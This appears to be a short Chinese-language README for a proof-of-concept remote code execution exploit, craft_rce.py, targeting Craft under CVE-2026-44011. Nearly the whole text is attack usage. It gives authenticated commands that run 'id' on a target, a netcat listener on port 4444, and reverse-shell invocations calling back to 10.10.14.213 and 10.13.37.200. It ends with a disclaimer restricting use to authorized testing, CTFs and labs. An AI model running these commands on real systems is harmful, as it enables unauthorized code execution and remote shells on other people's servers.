CVE-2026-44011-craft-rce-poc

CVE-2026-44011-craft-rce-poc 用法

单条命令： bash

python3 craft_rce.py -b http://target -u USER -p PASS -c 'id'

反向 shell（base64 包装的 bash）：

终端 1

nc -lvnp 4444

终端 2

python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.10.14.213 4444

如果目标无法访问你的回调地址，请显式指定：

python3 craft_rce.py -b http://target -u USER -p PASS --revshell 10.13.37.200 4444 -H 10.13.37.200 --listen-port 35509

---

免责声明

仅限用于授权测试、CTF 和实验环境。请勿对您不拥有或未获得明确测试许可的系统使用。